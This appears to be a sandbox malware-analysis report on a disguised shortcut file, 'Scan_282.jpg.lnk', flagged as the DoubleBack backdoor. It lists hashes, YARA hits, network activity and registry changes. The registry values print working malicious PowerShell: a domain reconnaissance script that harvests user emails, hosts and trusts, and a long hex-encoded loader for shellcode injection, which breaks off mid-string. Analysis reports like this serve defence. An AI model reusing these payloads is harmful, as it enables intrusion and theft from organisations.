Resubmissions
02-06-2022 22:15
220602-16kn1abhf3 1002-06-2022 21:45
220602-1mh13abha3 702-06-2022 21:44
220602-1ln6pabgh8 802-06-2022 21:40
220602-1jcpwabgh5 1002-06-2022 21:27
220602-1ay7hsffap 10Analysis
-
max time kernel
90s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 21:27
Static task
static1
Behavioral task
behavioral1
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
General
-
Target
Scan_282.jpg.lnk
-
Size
1KB
-
MD5
371924fdfffd4ca69857e94260c34a74
-
SHA1
2a1dc23c24010a8b5ef3b512ea3e3c6d2f52a44b
-
SHA256
801086851a46749a95efc050102fb85b761c0ccb191dfd29ff39c6b7cacb6292
-
SHA512
f9cbf21c27cf3473a2b73141dfd728d9d8824d20afc24f4b4b93ca5bf9536bd594c7a6d4100be2a2fc9c8e4b85b9dcf9797f61f60267128ea31cb44bfb43aba0
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
resource yara_rule behavioral4/memory/932-138-0x000002BE825F0000-0x000002BE825FA000-memory.dmp family_doubleback_x64 behavioral4/memory/932-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/956-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/956-144-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
flow pid Process 13 932 powershell.exe 34 956 msiexec.exe 35 956 msiexec.exe 36 956 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{04120F08-0305-0C04-1300-0D0A070F0008}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{04120F08-0305-0C04-1300-0D0A070F0008}\CLSID\ = "{07021301-0803-0E06-0000-110A03010308}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E090504-050F-0F01-0A10-0A0411030912}\ = "{04120F08-0305-0C04-1300-0D0A070F0008}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\VersionIndependentProgID\ = "{04120F08-0305-0C04-1300-0D0A070F0008}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0E090504-050F-0F01-0A10-0A0411030912}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07021301-0803-0E06-0000-110A03010308} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\ProgID powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000_Classes\CLSID\2232 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0E090504-050F-0F01-0A10-0A0411030912}\TreatAs\ = "{07021301-0803-0E06-0000-110A03010308}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07021301-0803-0E06-0000-110A03010308}\ProgID\0308 = 66756e6374696f6e206b6f307b706172616d28246f6c38292028646e33202732343632363733393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333733303332323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033373330333232373342323436363634333333443238323436323637333935423333333235443242323832383339324433313239324233323335323932393342323032343737363333353344323436323637333935423234363636343333324532453238323436363634333332423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343737363333353239334232343632363733393344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303338323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333832373342323436363634333333443742323032343641364333303344333032453245333233353335334233303245324533323335333537433235374232303234373537383335334432383234373537383335324232343641364333303542323435463544324232343737363333353542323435463235323437373633333532453443363536453637373436383544323932353238323833323335333732443238333132443330323932393239334232303234364136433330354232343546354432433234364136433330354232343735373833353544334432343641364333303542323437353738333535443243323436413643333035423234354635443230374432303342323436323637333937433235374232343635364333373344323832343635364333373242333132393235323833393338324232383238333333303336324433313334333832393239323933423230323437413731333533443238323437413731333532423234364136433330354232343635364333373544323932353238323832383331333032423335333732393242333932393242333133383330323933423230323436413643333035423234363536433337354432433234364136433330354232343741373133353544334432343641364333303542323437413731333535443243323436413643333035423234363536433337354433423234354632443632373836463732323436413643333035423238323436413643333035423234363536433337354432423234364136433330354232343741373133353544323932353238323832383331333433363242333333303239324233383330323932393544323037443230374432303342323436413635333032303344323032383236323032343636363433333743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343635364333373344333033423234363536433337323032443643373432303234364136353330324534433635364536373734363833423234363536433337324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436413635333032453533373536323733373437323639364536373238323436353643333732433332323932433238333233313244323833353244323833363334333333383330333033393330333932303244363237383646373232303336333433333338333033303339333033393239323932393239323037443239323927297c2628247073686f6d655b3135332d3134395d2b247073686f6d655b3135312d3131375d2b277827297d66756e6374696f6e206a77307b706172616d28246c693929282d6a6f696e28246c6939202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e207872327b706172616d2824716d33292028636e32202732343730373833333344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343730373833333245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343731364433333239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343730373833333245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436443637333932433234373136443333323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373037383333324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136382d3136345d2b247073686f6d655b3138302d3134365d2b277827297d66756e6374696f6e20727a307b706172616d28246c69392c247a69392c246a71332920286a7730202732343637363833303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333733303332323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033373330333232373342323436423633333133443238323436373638333035423333333235443242323832383339324433313239324233323335323932393342323032343731363333323344323436373638333035423234364236333331324532453238323436423633333132423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343731363333323239334232343637363833303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333233313333333033313244333033383330333332443330343533303336324433303330333033303244333133313330343133303333333033313330333333303338374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303338323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333832373342323436423633333133443742323032343642363333393344333032453245333233353335334233303245324533323335333537433235374232303234373937413335334432383234373937413335324232343642363333393542323435463544324232343731363333323542323435463235323437313633333232453443363536453637373436383544323932353238323833323335333732443238333132443330323932393239334232303234364236333339354232343546354432433234364236333339354232343739374133353544334432343642363333393542323437393741333535443243323436423633333935423234354635443230374432303342323436373638333037433235374232343636363833343344323832343636363833343242333132393235323833393338324232383238333333303336324433313334333832393239323933423230323437373637333833443238323437373637333832423234364236333339354232343636363833343544323932353238323832383331333032423335333732393242333932393242333133383330323933423230323436423633333935423234363636383334354432433234364236333339354232343737363733383544334432343642363333393542323437373637333835443243323436423633333935423234363636383334354433423234354632443632373836463732323436423633333935423238323436423633333935423234363636383334354432423234364236333339354232343737363733383544323932353238323832383331333433363242333333303239324233383330323932393544323037443230374432303342323436453634333132303344323032383236323032343642363333313743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343636363833343344333033423234363636383334323032443643373432303234364536343331324534433635364536373734363833423234363636383334324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436453634333132453533373536323733373437323639364536373238323436363638333432433332323932433238333233313244323833353244323833363334333333383330333033393330333932303244363237383646373232303336333433333338333033303339333033393239323932393239323037443239323927297c2628247073686f6d655b3132342d3132305d2b247073686f6d655b3232392d3139355d2b277827297d2066756e6374696f6e206e74377b706172616d28246c69392920286a773020273234364637363331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735373333383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343646373633313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234364637363331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373537333338324332343643363933393239323927297c2628247073686f6d655b3134302d3133365d2b247073686f6d655b3136332d3132395d2b277827297d2066756e6374696f6e206963357b706172616d28246c69392c247a69392920286a7730202732343739364133373344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343739364133373245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343643363933393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343739364133373245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437413639333932433234364336393339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373936413337324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132382d3132345d2b247073686f6d655b3233302d3139365d2b277827297d66756e6374696f6e206c65307b706172616d28246d79342920287a6f3920273234363136393336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644364233373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343631363933363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363136393336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364436423337324332343644373933343239323927297c2628247073686f6d655b3135372d3135335d2b247073686f6d655b3232312d3138375d2b277827297d66756e6374696f6e206d66397b706172616d28246b66322c246f63342c24667735292028617032202732343636373333393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343636373333393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343642363633323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343636373333393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436463633333432433234364236363332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363637333339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136312d3135375d2b247073686f6d655b3230372d3137335d2b277827297d66756e6374696f6e207673397b706172616d28247069302c246a7736292028726d3820273234373537323336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343631364433363344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735373233363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373537323336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363136443336324332343730363933303239323927297c2628247073686f6d655b3133372d3133335d2b247073686f6d655b3134302d3130365d2b277827297d246768303d727a30202763686775747769786d666f6b6a7965272027746172636c6a776575796d70686267662720276b626d71696a7861656c74636e64737779273b66756e6374696f6e206974357b706172616d2824647a332c246a70362c247a6e34292028726430202732343637373533323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343637373533323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634374133333239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343637373533323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436413730333632433234363437413333323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363737353332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137312d3136375d2b247073686f6d655b3136362d3133325d2b277827297d66756e6374696f6e207379357b706172616d28246768302c24616a322c247168372c247a71352920286a77302027323436423633333933443542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534443631373237333638363136433544334133413437363537343434363536433635363736313734363534363646373234363735364536333734363936463645353036463639364537343635373232383238364537343337323032373536363937323734373536313643343136433643364636333435373832373239324332383639363333353230343032383542343936453734353037343732354432433542343936453734353037343732354432433542343936453734353037343732354432433542363936453734354432433542363936453734354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832443331324333303243323436313641333232433238333333313334333532423238333233333334333532423238333533303330333732423331333733393331323932393239324332343741373133353239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383645373433373230323735323734364334443646373636353444363536443646373237393237323932433238363936333335323034303238354234393645373435303734373235443243354236323739373436353542354435443243354235353439364537343333333235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383234364236333339324332343637363833303243323436313641333232393342323436423633333933443445363537373244344636323641363536333734323035333739373337343635364432453439364537343730373437323230324434313732363737353644363536453734344336393733373432303234323832343642363333393245353436463439364537343336333432383239324232343731363833373239334235423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383645373433373230323734333732363536313734363535343638373236353631363432373239324332383639363333353230343032383542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432433542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432393238354234393645373437303734373235443239323932393245363936453736364636423635323833303243333032433234364236333339324333303243333032433330323933423533373436313732373432443533364336353635373032303244373332303238323832383331333833383335324233343332323932393242333233333331323927297c2628247073686f6d655b3133392d3133355d2b247073686f6d655b3232302d3138365d2b277827297d66756e6374696f6e207966387b706172616d2824687a3529202867703420273234373736353339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343635363633353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343737363533393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373736353339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436